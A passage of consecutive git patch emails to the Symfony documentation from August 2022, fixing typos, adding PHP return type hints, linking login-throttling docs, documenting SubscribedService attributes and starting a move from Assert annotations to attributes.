+    The value of the ``interval`` option must be a number followed by any of the
+    units accepted by the `PHP date relative formats`_ (e.g. ``3 seconds``,
+    ``10 hours``, ``1 day``, etc.)
+
 .. versionadded:: 5.3
 
     The ``login_throttling.interval`` option was introduced in Symfony 5.3.

From 9dfb4b5f446cdce4375313b821926fdee9fdc757 Mon Sep 17 00:00:00 2001
From: Andy Palmer <palmer.andy@gmail.com>
Date: Fri, 12 Aug 2022 12:53:03 +0100
Subject: [PATCH 3589/7107] Typo fix

---
 best_practices.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index dcc0d9eb3f2..798cb08572d 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -88,8 +88,10 @@ application behavior.
 :ref:`Use env vars in your project <config-env-vars>` to define these options
 and create multiple ``.env`` files to :ref:`configure env vars per environment <config-dot-env>`.
 
-Use Secret for Sensitive Information
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _use-secret-for-sensitive-information:
+
+Use Secrets for Sensitive Information
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When your application has sensitive configuration - like an API key - you should
 store those securely via :doc:`Symfony’s secrets management system </configuration/secrets>`.

From 250f9c2218c08caaf9523f4852adbbf7c78a7e1e Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 15 Aug 2022 11:06:32 +0200
Subject: [PATCH 3590/7107] [#17180] add missing link target

---
 security.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security.rst b/security.rst
index c6182d7aa07..f9d46f9fe70 100644
--- a/security.rst
+++ b/security.rst
@@ -2714,3 +2714,4 @@ Authorization (Denying Access)
 .. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
+.. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative

From 02bf0be1aa0f3c0660332edf42e5c9b72fa00ff2 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 15 Aug 2022 11:19:38 +0200
Subject: [PATCH 3591/7107] add missing return statement

---
 components/console/helpers/questionhelper.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index a4d61352745..863120dd52f 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -42,6 +42,10 @@ the following to your command::
             if (!$helper->ask($input, $output, $question)) {
                 return Command::SUCCESS;
             }
+
+            // ... do something here
+
+            return Command::SUCCESS;
         }
     }
 

From 4292c6538a6a1308ad10573c5d971319a1285543 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 14 Aug 2022 18:01:59 +0200
Subject: [PATCH 3592/7107] Adding info about login throttling

---
 rate_limiter.rst                  | 2 +-
 security.rst                      | 2 ++
 security/custom_authenticator.rst | 5 +++++
 3 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 65a0243e5e8..315f8c23428 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -11,7 +11,7 @@ defensive measure to protect services from excessive use (intended or not) and
 maintain their availability. It's also useful to control your internal or
 outbound processes (e.g. limit the number of simultaneously processed messages).
 
-Symfony uses these rate limiters in built-in features like "login throttling",
+Symfony uses these rate limiters in built-in features like :ref:`login throttling <security-login-throttling>`,
 which limits how many failed login attempts a user can make in a given period of
 time, but you can use them for your own features too.
 
diff --git a/security.rst b/security.rst
index 2cf429e6dd4..274aace86b4 100644
--- a/security.rst
+++ b/security.rst
@@ -1368,6 +1368,8 @@ Enable remote user authentication using the ``remote_user`` key:
     :ref:`the configuration reference <reference-security-firewall-remote-user>`
     for more details.
 
+.. _security-login-throttling:
+
 Limiting Login Attempts
 ~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 4e38e01e82b..f78560d8340 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -168,6 +168,11 @@ can define what happens in these cases:
     useful for e.g. login forms, where the login controller is run again
     with the login errors.
 
+    If you're using :ref:`login throttling <security-login-throttling>`,
+    you can check if ``$exception`` is an instance of
+    :class:`Symfony\\Component\\Security\\Core\\Exception\\TooManyLoginAttemptsAuthenticationException`
+    (e.g. to display an appropriate message).
+
     **Caution**: Never use ``$exception->getMessage()`` for ``AuthenticationException``
     instances. This message might contain sensitive information that you
     don't want to be publicly exposed. Instead, use ``$exception->getMessageKey()``

From 46b89317a089bd1da3ebf4f953d73b0cc41fdcdd Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Mon, 15 Aug 2022 16:27:54 +0200
Subject: [PATCH 3593/7107] [4.4] fix code sample to log out

---
 security/form_login.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/form_login.rst b/security/form_login.rst
index 46a1c8ee049..b50c4afa887 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -128,7 +128,7 @@ configuration (``login``):
             <route id="login" path="/login" controller="App\Controller\SecurityController::login" methods="GET|POST"/>
         </routes>
 
-    ..  code-block:: php
+    .. code-block:: php
 
         // config/routes.php
         use App\Controller\SecurityController;

From 83a2d1644b0fdde680a111ad394358a9c6cc91f2 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Mon, 15 Aug 2022 16:30:20 +0200
Subject: [PATCH 3594/7107] [Validation] Add getGroupSequence return hint

---
 validation/sequence_provider.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index f519d16c68a..fb196a3b6e9 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -333,7 +333,7 @@ method, which should return an array of groups to use::
     {
         // ...
 
-        public function getGroupSequence()
+        public function getGroupSequence(): array|GroupSequence
         {
             // when returning a simple array, if there's a violation in any group
             // the rest of the groups are not validated. E.g. if 'User' fails,

From b3ea56cfc3466bae019462c7117c90e78d9fac59 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 16 Aug 2022 21:44:25 +0200
Subject: [PATCH 3595/7107] [Cache] Add return hint

Add Response return hint
---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index 458839c371e..5dbe30c7f8f 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -215,7 +215,7 @@ The *easiest* way to cache a response is by caching it for a specific amount of
     use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function index()
+    public function index(): Response
     {
         // somehow create a Response object, like by rendering a template
         $response = $this->render('blog/index.html.twig', []);

From b808734c4bc6752f77963220a10cf2e57ecb9e3c Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 15 Aug 2022 18:57:26 +0200
Subject: [PATCH 3596/7107] Minor

The three dots are rendered as a full line: https://symfony.com/doc/5.4/deployment.html#e-other-things
---
 deployment.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/deployment.rst b/deployment.rst
index 369256bf316..495cddb5505 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -213,7 +213,7 @@ setup:
 * Pushing assets to a CDN
 * On a shared hosting platform using the Apache web server, you may need to
   install the :ref:`symfony/apache-pack package <web-server-apache-mod-php>`
-* ...
+* etc.
 
 Application Lifecycle: Continuous Integration, QA, etc.
 -------------------------------------------------------

From d3b56dfaf03a9151a223b552ad8269935a71be7c Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 16 Aug 2022 21:50:41 +0200
Subject: [PATCH 3597/7107] [Cache] Add return hint

Return hint for invalidate added in V6.0
---
 http_cache/cache_invalidation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 6a11a1fdc78..b4c883835b1 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -60,7 +60,7 @@ to support the ``PURGE`` HTTP method::
 
     class CacheKernel extends HttpCache
     {
-        protected function invalidate(Request $request, bool $catch = false)
+        protected function invalidate(Request $request, bool $catch = false): Response
         {
             if ('PURGE' !== $request->getMethod()) {
                 return parent::invalidate($request, $catch);

From 4da6ed4ff93d413797289895a72b62965939f29f Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Wed, 17 Aug 2022 21:41:00 +0200
Subject: [PATCH 3598/7107] Typo in the Route attribute definition

Under the section `Parameter Conversion` there is a typo in the code block definition of the route `blog_show` (line 13 of the code block).
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 2deee8bc920..d188b0442e8 100644
--- a/routing.rst
+++ b/routing.rst
@@ -885,7 +885,7 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``::
     {
         // ...
 
-        #[Roue('/blog/{slug}', name: 'blog_show')]
+        #[Route('/blog/{slug}', name: 'blog_show')]
         public function show(BlogPost $post): Response
         {
             // $post is the object whose slug matches the routing parameter

From 087773aa469b02ee29c49ce75027b47893dd4bf8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20DECOOL?= <contact@jdecool.fr>
Date: Wed, 17 Aug 2022 22:57:01 +0200
Subject: [PATCH 3599/7107] Fix dependency injection PHP sample code

---
 components/dependency_injection.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 5a467a25169..c1b5d454ba1 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -297,9 +297,9 @@ config files:
                 ->set('mailer.transport', 'sendmail')
             ;
 
-            $container->services()
-                ->set('mailer', 'Mailer')
-                    ->args(['%mailer.transport%'])
+            $services = $container->services();
+            $services->set('mailer', 'Mailer')
+                ->args(['%mailer.transport%'])
 
             $services->set('mailer', 'Mailer')
                 // the param() method was introduced in Symfony 5.2.

From e35ee1a82635e209a209d77173487cdad16957b2 Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Wed, 17 Aug 2022 23:23:32 +0200
Subject: [PATCH 3600/7107] Inappropriate usage of Parameter Conversion

Under the section `Route Groups and Prefixes`, the action `show` seems to make usage of `Parameter Conversion` technique, though there is no reference for the `Post` class in that code snippet.

I would suggest to replace the parameter `Post $post` to `string $slug` , matching the URL parameter defined above the method `show`.
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 91dabffec75..b41371f42ce 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1180,7 +1180,7 @@ the common configuration using options when importing the routes.
             /**
              * @Route("/{_locale}/posts/{slug}", name="show")
              */
-            public function show(Post $post): Response
+            public function show(string $slug): Response
             {
                 // ...
             }

From 19d9617cae4caa2a4f510f27e034950e25bb4178 Mon Sep 17 00:00:00 2001
From: Jordan de Laune <jordan@kadence.co>
Date: Thu, 18 Aug 2022 09:58:17 +0100
Subject: [PATCH 3601/7107] Update example to use Address format

It seems strange to me that the example for the From headers uses the full Address format, whereas the sender envelope does not.

I believe it is possible to use it here, so thought I would expand on the example to show how you can set both the display name and email address when configuring the sender envelope globally.
---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index e109c581adc..66f5b7a2d07 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -551,7 +551,7 @@ and headers.
         framework:
             mailer:
                 envelope:
-                    sender: 'fabien@example.com'
+                    sender: 'Fabien <fabien@example.com>'
                     recipients: ['foo@example.com', 'bar@example.com']
                 headers:
                     From: 'Fabien <fabien@example.com>'
@@ -573,7 +573,7 @@ and headers.
             <framework:config>
                 <framework:mailer>
                     <framework:envelope>
-                        <framework:sender>fabien@example.com</framework:sender>
+                        <framework:sender>Fabien &lt;fabien@example.com&gt;</framework:sender>
                         <framework:recipients>foo@example.com</framework:recipients>
                         <framework:recipients>bar@example.com</framework:recipients>
                     </framework:envelope>
@@ -593,7 +593,7 @@ and headers.
             $mailer = $framework->mailer();
             $mailer
                 ->envelope()
-                    ->sender('fabien@example.com')
+                    ->sender('Fabien <fabien@example.com>')
                     ->recipients(['foo@example.com', 'bar@example.com'])
             ;
 

From 394815cb03cb3cbe4ed592dbf13a2492e7f1e011 Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Thu, 18 Aug 2022 19:40:12 +0200
Subject: [PATCH 3602/7107] Usage of "Constructor Promotion" for PHP >= 8.0.2

Symfony version 6.0 requires PHP 8.0.2 or higher, so I would suggest to make usage of the `Constructor Promotion`  feature.
---
 routing.rst | 14 +++-----------
 1 file changed, 3 insertions(+), 11 deletions(-)

diff --git a/routing.rst b/routing.rst
index 2deee8bc920..b8e03422ec1 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2193,12 +2193,8 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
 
     class SomeService
     {
-        private $router;
-
-        public function __construct(UrlGeneratorInterface $router)
-        {
-            $this->router = $router;
-        }
+        public function __construct(private UrlGeneratorInterface $router)
+        {}
 
         public function someMethod()
         {
@@ -2312,13 +2308,9 @@ Now you'll get the expected results when generating URLs in your commands::
 
     class SomeCommand extends Command
     {
-        private $router;
-
-        public function __construct(RouterInterface $router)
+        public function __construct(private RouterInterface $router)
         {
             parent::__construct();
-
-            $this->router = $router;
         }
 
         protected function execute(InputInterface $input, OutputInterface $output): int

From df44c8fae06f17af2ef890cc2a02d3861cdc48d0 Mon Sep 17 00:00:00 2001
From: Alexandre Balmes <github@alexandre.balmes.co>
Date: Thu, 18 Aug 2022 23:35:40 +0200
Subject: [PATCH 3603/7107] Update questionhelper.rst

Fix typo for "Command::SUCCESS"
---
 components/console/helpers/questionhelper.rst | 24 +++++++++----------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 863120dd52f..d3e7498049b 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -88,7 +88,7 @@ if you want to know a bundle name, you can add this to your command::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 The user will be asked "Please enter the name of the bundle". They can type
@@ -124,7 +124,7 @@ from a predefined list::
 
         // ... do something with the color
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 .. versionadded:: 5.2
@@ -166,7 +166,7 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
         $colors = $helper->ask($input, $output, $question);
         $output->writeln('You have just selected: ' . implode(', ', $colors));
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Now, when the user enters ``1,2``, the result will be:
@@ -197,7 +197,7 @@ will be autocompleted as the user types::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 In more complex use cases, it may be necessary to generate suggestions on the
@@ -236,7 +236,7 @@ provide a callback function to dynamically generate suggestions::
         
         // ... do something with the filePath
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Do not Trim the Answer
@@ -260,7 +260,7 @@ You can also specify if you want to not trim the answer by setting it directly w
         
         // ... do something with the name
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Accept Multiline Answers
@@ -291,7 +291,7 @@ the response to a question should allow multiline answers by passing ``true`` to
         
         // ... do something with the answer
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Multiline questions stop reading user input after receiving an end-of-transmission
@@ -319,7 +319,7 @@ convenient for passwords::
         
         // ... do something with the password
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 .. caution::
@@ -351,7 +351,7 @@ convenient for passwords::
 
             // ...
             
-            return Commande::SUCCESS;
+            return Command::SUCCESS;
         }
 
 Normalizing the Answer
@@ -382,7 +382,7 @@ method::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 .. caution::
@@ -426,7 +426,7 @@ method::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 The ``$validator`` is a callback which handles the validation. It should
@@ -488,7 +488,7 @@ You can also use a validator with a hidden question::
         
         // ... do something with the password
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Testing a Command that Expects Input

From b6aa12741671b185852285e5ab5eda0d14e9f010 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 19 Aug 2022 11:35:57 -0400
Subject: [PATCH 3604/7107] [DI] add docs for `SubscribedService::$attributes`

---
 .../service_subscribers_locators.rst          | 110 +++++++++++++++++-
 1 file changed, 109 insertions(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 1c98bc7d471..c2b4c75fd23 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -243,6 +243,55 @@ service type to a service.
     The ``key`` attribute can be omitted if the service name internally is the
     same as in the service container.
 
+Add Dependency Injection Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.2
+
+    The ability to add attributes was introduced in Symfony 6.2.
+
+As an alternate to aliasing services in your configuration, you can also configure
+the following dependency injection attributes in the ``getSubscribedServices()``
+method directly:
+
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\MapDecorated`
+
+This is done by having ``getSubscribedServices()`` return an array of
+:class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` objects
+(these can be combined with standard ``string[]`` values)::
+
+    use Psr\Container\ContainerInterface;
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+    use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+    use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+    use Symfony\Component\DependencyInjection\Attribute\Target;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
+
+    public static function getSubscribedServices(): array
+    {
+        return [
+            // ...
+            new SubscribedService('logger', LoggerInterface::class, attributes: new Autowire(service: 'monolog.logger.event')),
+
+            // can event use parameters
+            new SubscribedService('env', string, attributes: new Autowire('%kernel.environment%')),
+
+            // Target
+            new SubscribedService('event.logger', LoggerInterface::class, attributes: new Target('eventLogger')),
+
+            // TaggedIterator
+            new SubscribedService('loggers', 'iterable', attributes: new TaggedIterator('logger.tag')),
+
+            // TaggedLocator
+            new SubscribedService('handlers', ContainerInterface::class, attributes: new TaggedLocator('handler.tag')),
+        ];
+    }
+
 Defining a Service Locator
 --------------------------
 
@@ -256,7 +305,7 @@ argument of type ``service_locator``:
         # config/services.yaml
         services:
             App\CommandBus:
-                arguments: 
+                arguments:
                   - !service_locator
                       App\FooCommand: '@app.command_handler.foo'
                       App\BarCommand: '@app.command_handler.bar'
@@ -721,4 +770,63 @@ and compose your services with them::
     as this will include the trait name, not the class name. Instead, use
     ``__CLASS__.'::'.__FUNCTION__`` as the service id.
 
+SubscribedService Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.2
+
+    The ability to add attributes was introduced in Symfony 6.2.
+
+You can use the ``attributes`` argument of ``SubscribedService`` to add any
+of the following dependency injection attributes:
+
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\MapDecorated`
+
+Here's an example::
+
+    // src/Service/MyService.php
+    namespace App\Service;
+
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+    use Symfony\Component\DependencyInjection\Attribute\Target;
+    use Symfony\Component\Routing\RouterInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
+    use Symfony\Contracts\Service\ServiceSubscriberInterface;
+    use Symfony\Contracts\Service\ServiceSubscriberTrait;
+
+    class MyService implements ServiceSubscriberInterface
+    {
+        use ServiceSubscriberTrait;
+
+        public function doSomething()
+        {
+            // $this->environment() ...
+            // $this->router() ...
+            // $this->logger() ...
+        }
+
+        #[SubscribedService(attributes: new Autowire('%kernel.environment%'))]
+        private function environment(): string
+        {
+            return $this->container->get(__METHOD__);
+        }
+
+        #[SubscribedService(attributes: new Autowire(service: 'router'))]
+        private function router(): RouterInterface
+        {
+            return $this->container->get(__METHOD__);
+        }
+
+        #[SubscribedService(attributes: new Target('requestLogger'))]
+        private function logger(): LoggerInterface
+        {
+            return $this->container->get(__METHOD__);
+        }
+    }
+
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern

From 6868736fe0e13aabf69d8e22e5a371acd170875a Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 16 Aug 2022 22:07:32 +0200
Subject: [PATCH 3605/7107] [Cache] Add use Response & return hint

---
 http_cache/validation.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index bf96112a88a..d46b4c58b80 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -56,10 +56,11 @@ content::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class DefaultController extends AbstractController
     {
-        public function homepage(Request $request)
+        public function homepage(Request $request): Response
         {
             $response = $this->render('static/homepage.html.twig');
             $response->setEtag(md5($response->getContent()));
@@ -138,7 +139,7 @@ header value::
 
     class ArticleController extends AbstractController
     {
-        public function show(Article $article, Request $request)
+        public function show(Article $article, Request $request): Response
         {
             $author = $article->getAuthor();
 
@@ -196,7 +197,7 @@ the better. The ``Response::isNotModified()`` method does exactly that::
 
     class ArticleController extends AbstractController
     {
-        public function show($articleSlug, Request $request)
+        public function show(string $articleSlug, Request $request): Response
         {
             // Get the minimum information to compute
             // the ETag or the Last-Modified value

From 9e04da2d2cebef6dc8e6e0e3ca14a2aa7badc3f3 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 16 Aug 2022 22:27:12 +0200
Subject: [PATCH 3606/7107] [Cache] Add return hint

---
 http_cache/esi.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 1f81a86c8a0..5b5a82a36c8 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -103,7 +103,7 @@ independently of the rest of the page::
     // ...
     class DefaultController extends AbstractController
     {
-        public function about()
+        public function about(): Response
         {
             $response = $this->render('static/about.html.twig');
             $response->setPublic();
@@ -169,7 +169,7 @@ of the master page::
     // ...
     class NewsController extends AbstractController
     {
-        public function latest($maxPerPage)
+        public function latest(int $maxPerPage): Response
         {
             // ...
             $response->setPublic();

From 0c11a0220160ed064bbbb11f897b34dc20b33283 Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Wed, 17 Aug 2022 10:36:57 +0200
Subject: [PATCH 3607/7107] "Creating Pages" not responsive

I noticed that while reading this page on my mobile device (a Samsung Galaxy S22), the content was not fully responsive, which was quite annoying to scroll horizontally to read.

While debugging this issue, I figure out that removing the "table" element under the `The bin/console Command` section resolved the problem (~ not entirely sure why).

I am proposing displaying the console output of the command `php bin/console debug:router` as a terminal block.
---
 page_creation.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 5d82850d410..0faa564560e 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -165,11 +165,13 @@ To get a list of *all* of the routes in your system, use the ``debug:router`` co
 
 You should see your ``app_lucky_number`` route in the list:
 
-================== ======== ======== ====== ===============
-Name               Method   Scheme   Host   Path
-================== ======== ======== ====== ===============
-app_lucky_number   ANY      ANY      ANY    /lucky/number
-================== ======== ======== ====== ===============
+.. code-block:: terminal
+
+    ----------------  -------  -------  -----  --------------
+    Name              Method   Scheme   Host   Path
+    ----------------  -------  -------  -----  --------------
+    app_lucky_number  ANY      ANY      ANY    /lucky/number
+    ----------------  -------  -------  -----  --------------
 
 You will also see debugging routes besides ``app_lucky_number`` -- more on
 the debugging routes in the next section.

From 0f08b164a098a54d2a3dcc4e6e972df18ebcd1a8 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Wed, 17 Aug 2022 20:50:46 +0200
Subject: [PATCH 3608/7107] [DependecyInjection] Added Uses & hints

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index ddb81243ccd..b976736f9d6 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -352,7 +352,7 @@ you can type-hint the new ``SiteUpdateManager`` class and use it::
 
     class SiteController extends AbstractController
     {
-        public function new(SiteUpdateManager $siteUpdateManager)
+        public function new(SiteUpdateManager $siteUpdateManager): Response
         {
             // ...
 

From f8dd3227c43a65a0cb8a0119fb0886c86a41f729 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Fri, 19 Aug 2022 16:50:31 +0200
Subject: [PATCH 3609/7107] [Security] update Voter return type

---
 security/voters.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index d96be9bf6c4..528a654eb17 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -56,8 +56,8 @@ which makes creating a voter even easier::
 
     abstract class Voter implements VoterInterface
     {
-        abstract protected function supports($attribute, $subject);
-        abstract protected function voteOnAttribute($attribute, $subject, TokenInterface $token);
+        abstract protected function supports($attribute, $subject): bool;
+        abstract protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool;
     }
 
 .. _how-to-use-the-voter-in-a-controller:

From eed27a02fe8198a28c86c359ce4b31cb84171780 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Fri, 12 Aug 2022 09:42:58 +0200
Subject: [PATCH 3610/7107] Replace Assert annotations with attributes, remove
 Assert annotation configuration block

---
 form/embedded.rst                             | 10 +-
 forms.rst                                     | 21 ----
 reference/constraints/All.rst                 | 18 ----
 reference/constraints/AtLeastOneOf.rst        | 28 ------
 reference/constraints/Bic.rst                 | 15 ---
 reference/constraints/Blank.rst               | 15 ---
 reference/constraints/Callback.rst            | 37 +------
 reference/constraints/CardScheme.rst          | 18 ----
 reference/constraints/Choice.rst              | 54 ----------
 reference/constraints/Cidr.rst                | 15 ---
 reference/constraints/Collection.rst          | 51 +++-------
 reference/constraints/Compound.rst            | 43 +-------
 reference/constraints/Count.rst               | 20 ----
 reference/constraints/Country.rst             | 15 ---
 reference/constraints/CssColor.rst            | 34 -------
 reference/constraints/Currency.rst            | 15 ---
 reference/constraints/Date.rst                | 16 ---
 reference/constraints/DateTime.rst            | 16 ---
 reference/constraints/DivisibleBy.rst         | 22 -----
 reference/constraints/Email.rst               | 17 ----
 reference/constraints/EqualTo.rst             | 22 -----
 reference/constraints/Expression.rst          | 60 -----------
 .../constraints/ExpressionLanguageSyntax.rst  | 22 -----
 reference/constraints/File.rst                | 19 ----
 reference/constraints/GreaterThan.rst         | 67 -------------
 reference/constraints/GreaterThanOrEqual.rst  | 67 -------------
 reference/constraints/Hostname.rst            | 15 ---
 reference/constraints/Iban.rst                | 17 ----
 reference/constraints/IdenticalTo.rst         | 22 -----
 reference/constraints/Image.rst               | 38 -------
 reference/constraints/Ip.rst                  | 15 ---
 reference/constraints/IsFalse.rst             | 20 ----
 reference/constraints/IsNull.rst              | 15 ---
 reference/constraints/IsTrue.rst              | 20 ----
 reference/constraints/Isbn.rst                | 18 ----
 reference/constraints/Isin.rst                | 15 ---
 reference/constraints/Issn.rst                | 15 ---
 reference/constraints/Json.rst                | 17 ----
 reference/constraints/Language.rst            | 15 ---
 reference/constraints/Length.rst              | 20 ----
 reference/constraints/LessThan.rst            | 67 -------------
 reference/constraints/LessThanOrEqual.rst     | 67 -------------
 reference/constraints/Locale.rst              | 17 ----
 reference/constraints/Luhn.rst                | 15 ---
 reference/constraints/Negative.rst            | 15 ---
 reference/constraints/NegativeOrZero.rst      | 15 ---
